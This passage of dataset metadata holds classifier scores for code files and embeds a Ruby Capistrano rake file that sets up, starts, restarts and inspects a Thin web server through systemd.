1.6994990476067135e-05, "Organizational About Page": 2.7231364848915966e-05, "Personal About Page": 1.5353123358421534e-05, "Personal Blog": 1.4220980552193267e-05, "Product Page": 1.448675695097452e-05, "Spam / Ads": 1.787276189137652e-05, "Structured Data": 0.0066137113556501035, "Technical Writing": 0.9897632574060068, "Transcript / Interview": 2.5251598082947313e-05, "Tutorial / How-To Guide": 0.0001820293288579964, "User Reviews": 1.0259725328448405e-05, "Other / Unknown": 0.0021701195441667896}, "secondary": {"Academic Writing": 0.0003177973247942984, "Content Listing": 0.005475491141611231, "Creative Writing": 0.00023371040208446152, "Customer Support Page": 0.00030795364224538716, "Q&A Forum": 0.0001452942477857692, "Discussion Thread": 0.00012296795166260685, "Comment Section": 0.002844293396269055, "Missing Content": 0.0005672015549188678, "Knowledge Article": 0.0005682042342549011, "Legal Notices": 0.00039820781787352344, "News Article": 0.00017591405816194845, "Organizational Announcement": 0.00020356531166984776, "Nonfiction Writing": 0.00017277105051665694, "Organizational About Page": 0.0002316329426914038, "Personal About Page": 0.00014424744927890205, "Personal Blog": 0.0001434602566019834, "Product Page": 0.00010855351169326976, "Spam / Ads": 0.0001844789345125979, "Structured Data": 0.04175423628555337, "Technical Writing": 0.02454764109597423, "Transcript / Interview": 0.00019361474928364256, "Tutorial / How-To Guide": 0.003111529950881336, "User Reviews": 7.925325631752352e-05, "NONE": 0.9179679794333633}, "tertiary": {"Academic Writing": 0.00021102454996575564, "Content Listing": 0.005834167403648935, "Creative Writing": 0.00018880190194213537, "Customer Support Page": 0.0002818501457478327, "Q&A Forum": 9.871679612437584e-05, "Discussion Thread": 8.766281941406484e-05, "Comment Section": 0.0027264355590746196, "Missing Content": 0.0006226756482600249, "Knowledge Article": 0.0006252862367169041, "Legal Notices": 0.0003986287065426411, "News Article": 0.00011955098039896456, "Organizational Announcement": 0.0001491526891283632, "Nonfiction Writing": 0.00013490966126062853, "Organizational About Page": 0.00018889870659561005, "Personal About Page": 9.767079248657531e-05, "Personal Blog": 9.809052334431362e-05, "Product Page": 8.747487536861193e-05, "Spam / Ads": 0.00012777723306789293, "Structured Data": 0.023906355734880314, "Technical Writing": 0.013676269584405931, "Transcript / Interview": 0.00012638581423212998, "Tutorial / How-To Guide": 0.008047918944846163, "User Reviews": 5.324059028170691e-05, "NONE": 0.9421110541022655}, "structured_records": {"false": 0.6017992593589659, "true": 0.39820074064103406}, "procedural_steps": {"false": 0.9994094967271506, "true": 0.0005905032728493247}, "worked_solution": {"false": 0.9998814147806254, "true": 0.00011858521937460347}, "contextual_dialogue": {"false": 0.9999941794976002, "true": 5.8205023998256525e-06}, "content_quality": {"-2": 0.010823543759176503, "-1": 0.07433431043158886, "0": 0.2907828482487581, "1": 0.43612894201527247, "2": 0.18793035554520404}, "noise_severity": {"0": 0.4146660140910042, "1": 0.376292750039016, "2": 0.18481539309860276, "3": 0.01817365243581425, "4": 0.006052190335562783}, "missing_content_severity": {"0": 0.9869945455425323, "1": 0.009767002063571754, "2": 0.001956926290902546, "3": 0.0010049908183341187, "4": 0.0002765352846592757}, "factual_density": {"0": 0.003984638766989525, "1": 0.006811087614786411, "2": 0.06065066297576004, "3": 0.2690365102831163, "4": 0.6595171003593477}, "pretraining_utility": {"-2": 0.028046945482767396, "-1": 0.23611985022513882, "0": 0.4112650010285555, "1": 0.2747184507834827, "2": 0.04984975248005546}, "math_density": {"0": 0.998932023441669, "1": 0.0007627339932747565, "2": 0.00012608380655407353, "3": 7.0452951408897e-05, "4": 0.00010870580709325927}, "code_density": {"0": 0.0002649389851880707, "1": 0.0005837831278846908, "2": 0.014476487940929208, "3": 0.0899246722818972, "4": 0.8947501176641008}, "reasoning_density": {"0": 0.9574046615514318, "1": 0.03745578312431792, "2": 0.004310554402605856, "3": 0.0005268427703207182, "4": 0.00030215815132383136}, "education_level": {"none": 0.0016086252093976583, "0": 0.001616845161541472, "1": 0.007956626393514262, "2": 0.5666639603638124, "3": 0.37021200002642624, "4": 0.051941942845308044}, "creative_writing_quality": {"not_applicable": 0.9996030351761185, "-2": 7.340334127935244e-05, "-1": 0.00010294308103132478, "0": 0.00015137274723519176, "1": 4.948223331295039e-05, "2": 1.9763421022743077e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 5.3512157853459056e-05, "Art & Design": 0.0001149176084050604, "Law & Crime": 0.0002670743835273202, "Education & Careers": 0.00026166527931850106, "Entertainment & Media": 5.9510483366425476e-05, "Fashion & Beauty": 0.00013185902401961818, "Business, Economics & Finance": 0.01996075798996729, "Food & Dining": 0.00016973860486843822, "Games & Gaming": 0.00011808708026816937, "Electronics & Hardware": 0.00016277936859023407, "Health, Healthcare & Wellness": 0.01013112477915029, "History & Geography": 8.07641220156676e-05, "Home, Pets & Hobbies": 0.00010937211482009565, "Industry & Production": 0.00010162937119400053, "Language, Literature & Philosophy": 7.941930611548887e-05, "Politics & Government": 0.0037564896892425797, "Religion & Spirituality": 9.772067955774283e-05, "Science, Mathematics & Engineering": 0.0002013619812622674, "Relationships & Community": 0.0003556971401251752, "Software Usage & Applications": 0.003947146934358808, "Programming & Software Engineering": 0.9564179205429235, "Sports & Fitness": 0.00010273991034836325, "Vehicles & Transportation": 7.097529772174181e-05, "Travel & Tourism": 0.00010488058623439436, "Other / Uncovered Subject": 0.002787183525957236, "Unknown / Insufficient Content": 0.00035567203878811537}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0007676863086706212, "Art & Design": 0.0009023911446387763, "Law & Crime": 0.0028407931548177323, "Education & Careers": 0.0017434749935206567, "Entertainment & Media": 0.0006742072023846221, "Fashion & Beauty": 0.0006957063606739402, "Business, Economics & Finance": 0.22997109951510486, "Food & Dining": 0.0007098282391553347, "Games & Gaming": 0.0005883310800307036, "Electronics & Hardware": 0.0008058325876345381, "Health, Healthcare & Wellness": 0.059739483959206634, "History & Geography": 0.00048457325922941015, "Home, Pets & Hobbies": 0.0006595370348107487, "Industry & Production": 0.000532975195959366, "Language, Literature & Philosophy": 0.000379855094873554, "Politics & Government": 0.01088883470897407, "Religion & Spirituality": 0.00084902589132461, "Science, Mathematics & Engineering": 0.0007194070948864846, "Relationships & Community": 0.0012186074608966414, "Software Usage & Applications": 0.011745129987242224, "Programming & Software Engineering": 0.05927503983767455, "Sports & Fitness": 0.000420113152023114, "Vehicles & Transportation": 0.0002985004843450211, "Travel & Tourism": 0.0005550581050614262, "Other / Uncovered Subject": 0.005065898868760112, "NONE": 0.6074686092781003}}, "probability_diagnostics": {"primary": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "math_density": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 0.9999999999999998, "mass_delta": -2.220446049250313e-16, "missing_mass": 2.220446049250313e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 13591, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 13591, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:34:07.310923+00:00", "scoring_key_slot": "assistant_1", "dataset_uid": "5706181e-30e7-49e0-87ab-9146d22bdd25", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "2272b0a67198fe2573cb6d463746b00b0d1944a547f1ac1a6081a0aa11e799d9", "source_metadata": {"uuid": "5706181e-30e7-49e0-87ab-9146d22bdd25", "repo_name": "health-connector/enroll", "relative_path": "config/routes.rb", "category": "CONFIG", "algo_rel_score": 0.8815022110939026, "quality_score": 6.00277853012085, "source_meta": {"github_metadata": {"branch": "master", "commit_count": 30619, "repo_created_at": "2017-03-30T20:00:23.000Z", "is_fork": true, "is_org_owned": true, "forked_from": "iisaphd/enroll", "stars": 6, "forks": 3, "issues": 0, "pull_requests": 126}, "file_meta": {"content_id": "af24126fcda335ade89a7949b2b945d68996c2ec", "size_bytes": 19635, "file_timestamp": 1752692263, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "a4e4ef6d39dc4413deace42365abb28cf3e8f741"}}, "parsed_source_meta": {"github_metadata": {"branch": "master", "commit_count": 30619, "repo_created_at": "2017-03-30T20:00:23.000Z", "is_fork": true, "is_org_owned": true, "forked_from": "iisaphd/enroll", "stars": 6, "forks": 3, "issues": 0, "pull_requests": 126}, "file_meta": {"content_id": "af24126fcda335ade89a7949b2b945d68996c2ec", "size_bytes": 19635, "file_timestamp": 1752692263, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "a4e4ef6d39dc4413deace42365abb28cf3e8f741", "url": "https://github.com/health-connector/enroll/blob/a4e4ef6d39dc4413deace42365abb28cf3e8f741/config/routes.rb"}, "gpt4o_tokens": 5000, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 0.7160082551557387, "noise_severity": 0.8246532548859155, "missing_content_severity": 0.017801968239016305, "factual_density": 3.5732903458530463, "pretraining_utility": 0.08220421455292005, "math_density": 0.0016610836889826316, "code_density": 3.878311246511838, "reasoning_density": 0.048866052845787114, "education_level": 2.4636514103475027, "creative_writing_quality": -0.4049242617012115}, "score_applicability": {"education_level": 0.9983913747906024, "creative_writing_quality": 0.00039696482388156245}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/2strange/capistrano-recipes2go/blob/4cafa70a4500e2603c981bfb1d6a72318cf557d0/lib/capistrano/tasks/thin.rake", "id": "ruby-0-c9ba8d609d0ec3356c81ac0af86f8f6e", "text": "require 'capistrano/recipes2go/base_helpers'\ninclude Capistrano::Recipes2go::BaseHelpers\n\nnamespace :load do\n task :defaults do\n \n set :thin_path, -> { '/etc/thin' }\n set :thin_roles, -> { :web }\n \n set :thin_timeout, -> { 42 }\n set :thin_max_conns, -> { 1024 }\n set :thin_max_persistent_conns, -> { 512 }\n set :thin_require, -> { [] }\n set :thin_wait, -> { 90 }\n set :thin_onebyone, -> { true }\n\n set :thin_servers, -> { fetch(:app_instances, 1) }\n \n set :thin_daemonize, -> { false } # Thin should not daemonize itself\n set :thin_hooks, -> { true } # Enables automatic setup/restart\n\n set :thin_daemon_ruby_vm, -> { :rvm } # ( :rvm | :rbenv | :system )\n set :thin_daemon_file, -> { \"#{fetch(:application)}_#{fetch(:stage)}_thin\" }\n\n set :thin_daemon_old, -> { \"thin_#{fetch(:application)}_#{fetch(:stage)}\" }\n\n set :thin_daemon_path, -> { \"/lib/systemd/system\" }\n set :thin_pid_path, -> { \"#{shared_path}/pids\" }\n set :thin_daemon_template, -> { :default }\n set :thin_daemon_log_lines, -> { 100 }\n set :thin_daemon_user, -> { fetch(:user, 'deploy') } # Defaults to deploy user\n\n\n ## symlink thin config file\n append :linked_files, \"config/thin_app_#{ fetch(:stage) }.yml\"\n\n end\nend\n\n\nnamespace :thin do\n \n def upload_thin_daemon\n puts \"📤 Uploading Thin systemd service...\"\n if fetch(:thin_daemon_template, :default) == :default\n template2go(\"thin_service\", '/tmp/thin_service')\n else\n template2go(fetch(:thin_daemon_template), '/tmp/thin_service')\n end\n execute :sudo, :mv, '/tmp/thin_service', \"#{fetch(:thin_daemon_path)}/#{fetch(:thin_daemon_file)}.service\"\n execute :sudo, \"systemctl daemon-reload\"\n end\n\n def upload_thin_config\n puts \"📤 Uploading Thin configuration...\"\n template2go(\"thin_config\", '/tmp/thin_app.yml')\n # Speichern im shared_path (Capistrano erwartet das so!)\n execute :sudo, :mv, '/tmp/thin_app.yml', \"#{shared_path}/config/thin_app_#{fetch(:stage)}.yml\"\n end\n\n ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### \n\n desc 'Upload only the Thin daemon file'\n task :upload_daemon do\n on roles fetch(:thin_roles) do\n upload_thin_daemon\n end\n end\n\n desc \"Upload only the Thin config file\"\n task :reconf do\n on release_roles fetch(:thin_roles) do\n upload_thin_config\n end\n end\n\n desc \"Initial Thin Setup (Upload service & config, but don't enable yet)\"\n task :setup do\n on roles fetch(:thin_roles) do\n upload_thin_daemon\n upload_thin_config\n puts \"✅ Thin setup completed. Service is NOT yet enabled or started.\"\n end\n end\n\n desc \"Activate and start Thin service\"\n task :activate do\n on roles fetch(:thin_roles) do\n invoke \"thin:enable\"\n invoke \"thin:start\"\n puts \"✅ Thin service activated and running!\"\n end\n end\n \n %w[start stop restart enable disable is-enabled].each do |cmnd|\n desc \"#{cmnd.capitalize} Thin service\"\n task cmnd.gsub(/-/, '_') do\n on roles fetch(:thin_roles) do\n execute :sudo, :systemctl, cmnd, fetch(:thin_daemon_file)\n end\n end\n end\n \n desc \"Quiet Thin service (TSTP signal)\"\n task :quiet do\n on roles fetch(:thin_roles) do\n execute :sudo, :systemctl, 'kill -s TSTP', fetch(:thin_daemon_file)\n end\n end\n \n desc \"Get logs for Thin service\"\n task :logs do\n on roles fetch(:thin_roles) do\n execute :sudo, :journalctl, '-u', fetch(:thin_daemon_file), '-rn', fetch(:thin_daemon_log_lines, 100)\n end\n end\n \n desc \"Check Thin service status\"\n task :check_status do\n on roles fetch(:thin_roles) do\n within current_path do\n puts \"#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#\"\n puts \"#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#\"\n puts fetch(:thin_daemon_file)\n puts \"#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#\"\n output = capture :sudo, \"systemctl status\", fetch(:thin_daemon_file)\n output.each_line do |line|\n puts line\n end\n puts \"#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#\"\n end\n end\n end\n\n\n desc \"Remove old style Thin service files (thin_APP_NAME)\"\n task :remove_old_services do\n on roles fetch(:thin_roles) do\n old_service_file = fetch( :thin_daemon_old, \"thin_#{fetch(:application)}_#{fetch(:stage)}\" )\n \n if test(\"[ -f #{fetch(:thin_daemon_path)}/#{old_service_file}.service ]\")\n unless test(\"systemctl is-enabled #{old_service_file} || echo disabled\") == \"disabled\"\n info \"🔧 Disabling #{old_service_file} service...\"\n execute :sudo, \"systemctl disable #{old_service_file}\"\n else\n info \"✅ #{old_service_file} is already disabled, skipping.\"\n end\n puts \"🔄 Stopping old Thin service: #{old_service_file}.service\"\n execute :sudo, \"systemctl stop #{old_service_file}\"\n puts \"🗑 Removing old Thin service file: #{old_service_file}.service\"\n execute :sudo, :rm, \"-f\", \"#{fetch(:thin_daemon_path)}/#{old_service_file}.service\"\n else\n puts \"⚠️ Old Thin service file #{old_service_file}.service does not exist, skipping removal.\"\n end\n end\n end\n \nend\n\n\n\nnamespace :deploy do\n after 'deploy:published', :restart_thin_apps do\n if fetch(:thin_hooks)\n invoke \"thin:reconf\"\n invoke \"thin:restart\"\n end\n end\nend\n\n\n### Add Thin setup to the main setup task\ntask :setup do\n invoke \"thin:setup\"\nend\n", "text_preview": "require 'capistrano/recipes2go/base_helpers' include Capistrano::Recipes2go::BaseHelpers namespace :load do task :defaults do set :thin_path, -> { '/etc/thin' } set :thin_roles, -> { :web } set :thin_timeout, -> { 42 } set :thin_max_conns, ", "input_sha256": "57785f20dd2fc4940c274c76a12656052127353f472070c5b76beac3dae46459", "text_sha256": "c9ba8d609d0ec3356c81ac0af86f8f6e06aadc0429656733c3963a4d0e79fff9", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16070, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 1, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 3, "creative_writing_quality": null}, "score_expectations": {"content_quality": 0.7250920064092473, "noise_severity": 0.36707773109947567, "missing_content_severity": 0.008558826846174717, "factual_density": 3.3897490372760024, "pretraining_utility": 0.43945176685183857, "math_density": 0.005798698030375597, "code_density": 3.8173248211837185, "reasoning_density": 0.30017962431940404, "education_level": 2.6956943719295188, "creative_writing_quality": -0.1995587693296713}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "3", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.00340291144474502, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9905763725441822, "secondary": 0.9241080974214803, "tertiary": 0.9270643406920583, "structured_records": 0.21566191949310184, "procedural_steps": 0.3707463042145739, "worked_solution": 0.0005698364662407169, "contextual_dialogue": 5.211351206294398e-06, "content_quality": 0.4967007982227485, "noise_severity": 0.694101890750437, "missing_content_severity": 0.9928676442948544, "factual_density": 0.49145753106333534, "pretraining_utility": 0.430614956418662, "math_density": 0.9951677516413536, "code_density": 0.847770684319765, "reasoning_density": 0.7498503130671633, "education_level": 0.4303798451393818, "creative_writing_quality": 0.9989101353296165, "primary_topic": 0.9850130688196679, "secondary_topic": 0.8354182557682303}, "probability_margin": {"primary": 0.9846807674146216, "secondary": 0.8908944941427056, "tertiary": 0.897130472055088, "education_level": 0.1467394932248482, "creative_writing_quality": 0.9986152630960031, "primary_topic": 0.9724669133505183, "secondary_topic": 0.7286838194338839}, "raw_probabilities": {"primary": {"Academic Writing": 3.9511376553711404e-05, "Content Listing": 3.881163704990561e-05, "Creative Writing": 2.2701216486693543e-05, "Customer Support Page": 2.5317683874581644e-05, "Q&A Forum": 1.8048579655474767e-05, "Discussion Thread": 1.1865095913142263e-05, "Comment Section": 1.9748680819100286e-05, "Missing Content": 2.5435190923785133e-05, "Knowledge Article": 0.00011089776451266217, "Legal Notices": 3.636592938358403e-05, "News Article": 7.354748642983032e-06, "Organizational Announcement": 1.7752950674002562e-05, "Nonfiction Writing": 1.445700289965367e-05, "Organizational About Page": 1.98932863142984e-05, "Personal About Page": 1.6669117133543173e-05, "Personal Blog": 1.2950222764052863e-05, "Product Page": 1.3583597328274092e-05, "Spam / Ads": 1.7416718307860225e-05, "Structured Data": 0.0006983194060824239, "Technical Writing": 0.9909690236881746, "Transcript / Interview": 1.966973702599104e-05, "Tutorial / How-To Guide": 0.006288256273553018, "User Reviews": 1.18308314203657e-05, "Other / Unknown": 0.001544119264506395}, "secondary": {"Academic Writing": 0.00033982887886387764, "Content Listing": 0.00033754626319785526, "Creative Writing": 0.000223871954848962, "Customer Support Page": 0.0003292487633812494, "Q&A Forum": 0.00013164720028390072, "Discussion Thread": 8.533529434410072e-05, "Comment Section": 0.00023791760153924973, "Missing Content": 0.0002959125732763879, "Knowledge Article": 0.0010861221159763458, "Legal Notices": 0.00023073953532269678, "News Article": 0.0001233415379430804, "Organizational Announcement": 0.0001466129913735883, "Nonfiction Writing": 0.00013206909025656905, "Organizational About Page": 0.00016133752105754998, "Personal About Page": 0.0001281615539442604, "Personal Blog": 0.00014918919487575766, "Product Page": 8.972569000562647e-05, "Spam / Ads": 0.00016154205819346438, "Structured Data": 0.010683700834825836, "Technical Writing": 0.021029040265311705, "Transcript / Interview": 0.0001758929758897145, "Tutorial / How-To Guide": 0.03637576588621296, "User Reviews": 7.519019015675679e-05, "NONE": 0.9272702600289185}, "tertiary": {"Academic Writing": 0.00021402341821618917, "Content Listing": 0.0002586613019627145, "Creative Writing": 0.0001758027197149764, "Customer Support Page": 0.0002656537481349168, "Q&A Forum": 9.19037953318797e-05, "Discussion Thread": 7.278235789396175e-05, "Comment Section": 0.0003856332637484778, "Missing Content": 0.0003226672895940207, "Knowledge Article": 0.0022092131271192125, "Legal Notices": 0.00032371461653786076, "News Article": 9.843025504974591e-05, "Organizational Announcement": 0.00012700594550206333, "Nonfiction Writing": 0.00012898385467397533, "Organizational About Page": 0.00016056648321943856, "Personal About Page": 9.907981313091955e-05, "Personal Blog": 0.0001177128273583525, "Product Page": 9.316492285776538e-05, "Spam / Ads": 0.0001530109339427932, "Structured Data": 0.013159320939691084, "Technical Writing": 0.018266998307252293, "Transcript / Interview": 0.00013644948876558578, "Tutorial / How-To Guide": 0.032972854441467934, "User Reviews": 6.303965227779921e-05, "NONE": 0.9301033264965559}, "structured_records": {"false": 0.7843380805068981, "true": 0.21566191949310184}, "procedural_steps": {"false": 0.6292536957854261, "true": 0.3707463042145739}, "worked_solution": {"false": 0.9994301635337592, "true": 0.0005698364662407169}, "contextual_dialogue": {"false": 0.9999947886487937, "true": 5.211351206294398e-06}, "content_quality": {"-2": 0.00824987666982577, "-1": 0.0630695287315416, "0": 0.28854483038916673, "1": 0.4756102399384913, "2": 0.16452552427097458}, "noise_severity": {"0": 0.6927184817829132, "1": 0.26200964868251336, "2": 0.034765681451843666, "3": 0.006488032817643969, "4": 0.004018155265085749}, "missing_content_severity": {"0": 0.9949075058416209, "1": 0.0025371650458111067, "2": 0.0017972827640392753, "3": 0.0006050891218298502, "4": 0.00015295722669887726}, "factual_density": {"0": 0.002876601243988617, "1": 0.005852474830103582, "2": 0.08604218008561595, "3": 0.4091027730865005, "4": 0.4961259707537914}, "pretraining_utility": {"-2": 0.009598049989311061, "-1": 0.09213200954507189, "0": 0.4088469736648066, "1": 0.42806605722608854, "2": 0.061356909574722014}, "math_density": {"0": 0.995181082393001, "1": 0.004291177899316411, "2": 0.0002503406172229948, "3": 0.00010275746522534628, "4": 0.00017464162523428935}, "code_density": {"0": 0.00037276084789775854, "1": 0.0007122275949956119, "2": 0.015774238253448574, "3": 0.14749897613280694, "4": 0.8356417971708512}, "reasoning_density": {"0": 0.7921943713464035, "1": 0.1242061288163165, "2": 0.07657183842792237, "3": 0.005280826990187729, "4": 0.0017468344191698994}, "education_level": {"none": 0.0010051665972945906, "0": 0.0014088476828337324, "1": 0.004962855496796075, "2": 0.3785770443913033, "3": 0.5253165376161515, "4": 0.08872954821562065}, "creative_writing_quality": {"not_applicable": 0.9990917794413471, "-2": 8.390071376510348e-05, "-1": 0.00019781883454586516, "0": 0.00047651634534401154, "1": 0.00011559244488420032, "2": 3.439222011360745e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 3.983639461571936e-05, "Art & Design": 4.5115006355562226e-05, "Law & Crime": 4.4297773676870785e-05, "Education & Careers": 3.400779380673424e-05, "Entertainment & Media": 2.4416903065430596e-05, "Fashion & Beauty": 2.2496082636006544e-05, "Business, Economics & Finance": 5.193735550817002e-05, "Food & Dining": 5.557460091791139e-05, "Games & Gaming": 4.59041965086361e-05, "Electronics & Hardware": 0.00023573489653742796, "Health, Healthcare & Wellness": 2.4941879551532742e-05, "History & Geography": 3.7619940678083896e-05, "Home, Pets & Hobbies": 2.8107542878097643e-05, "Industry & Production": 4.5057604498553474e-05, "Language, Literature & Philosophy": 3.3356544206479384e-05, "Politics & Government": 2.2561418751692863e-05, "Religion & Spirituality": 3.051136572396974e-05, "Science, Mathematics & Engineering": 0.00012530769309285198, "Relationships & Community": 1.7722260777280626e-05, "Software Usage & Applications": 0.013122575899162435, "Programming & Software Engineering": 0.9855894892496807, "Sports & Fitness": 4.07274131624973e-05, "Vehicles & Transportation": 1.851206268224363e-05, "Travel & Tourism": 3.8916832866473655e-05, "Other / Uncovered Subject": 0.00018235526563867678, "Unknown / Insufficient Content": 4.291602301971594e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0004597216238313666, "Art & Design": 0.00031384722403639324, "Law & Crime": 0.00047235429695974783, "Education & Careers": 0.00026324295423984893, "Entertainment & Media": 0.0003250284909610802, "Fashion & Beauty": 0.00017417160340868064, "Business, Economics & Finance": 0.0004414931309621412, "Food & Dining": 0.00022247864442973732, "Games & Gaming": 0.00024313324166988287, "Electronics & Hardware": 0.0008254512193260603, "Health, Healthcare & Wellness": 0.000199520926544646, "History & Geography": 0.00023666585215733707, "Home, Pets & Hobbies": 0.0001961442313562566, "Industry & Production": 0.00024415444865137664, "Language, Literature & Philosophy": 0.00016780873575155227, "Politics & Government": 0.00023484885118978233, "Religion & Spirituality": 0.0002309393376895843, "Science, Mathematics & Engineering": 0.0004861466222879903, "Relationships & Community": 0.00014200296312556575, "Software Usage & Applications": 0.11306450342018359, "Programming & Software Engineering": 0.03826832789308088, "Sports & Fitness": 0.00016607782536777281, "Vehicles & Transportation": 9.581254355203824e-05, "Travel & Tourism": 0.00030957432392780587, "Other / Uncovered Subject": 0.00046822674124145664, "NONE": 0.8417483228540675}}, "probabilities": {"primary": {"Academic Writing": 3.95113765537114e-05, "Content Listing": 3.88116370499056e-05, "Creative Writing": 2.270121648669354e-05, "Customer Support Page": 2.5317683874581637e-05, "Q&A Forum": 1.8048579655474764e-05, "Discussion Thread": 1.186509591314226e-05, "Comment Section": 1.9748680819100282e-05, "Missing Content": 2.5435190923785126e-05, "Knowledge Article": 0.00011089776451266214, "Legal Notices": 3.636592938358402e-05, "News Article": 7.35474864298303e-06, "Organizational Announcement": 1.775295067400256e-05, "Nonfiction Writing": 1.4457002899653666e-05, "Organizational About Page": 1.9893286314298395e-05, "Personal About Page": 1.666911713354317e-05, "Personal Blog": 1.295022276405286e-05, "Product Page": 1.3583597328274088e-05, "Spam / Ads": 1.741671830786022e-05, "Structured Data": 0.0006983194060824237, "Technical Writing": 0.9909690236881744, "Transcript / Interview": 1.9669737025991037e-05, "Tutorial / How-To Guide": 0.006288256273553016, "User Reviews": 1.1830831420365696e-05, "Other / Unknown": 0.0015441192645063945}, "secondary": {"Academic Writing": 0.00033982887886387764, "Content Listing": 0.00033754626319785526, "Creative Writing": 0.000223871954848962, "Customer Support Page": 0.0003292487633812494, "Q&A Forum": 0.00013164720028390072, "Discussion Thread": 8.533529434410072e-05, "Comment Section": 0.00023791760153924973, "Missing Content": 0.0002959125732763879, "Knowledge Article": 0.0010861221159763458, "Legal Notices": 0.00023073953532269678, "News Article": 0.0001233415379430804, "Organizational Announcement": 0.0001466129913735883, "Nonfiction Writing": 0.00013206909025656905, "Organizational About Page": 0.00016133752105754998, "Personal About Page": 0.0001281615539442604, "Personal Blog": 0.00014918919487575766, "Product Page": 8.972569000562647e-05, "Spam / Ads": 0.00016154205819346438, "Structured Data": 0.010683700834825836, "Technical Writing": 0.021029040265311705, "Transcript / Interview": 0.0001758929758897145, "Tutorial / How-To Guide": 0.03637576588621296, 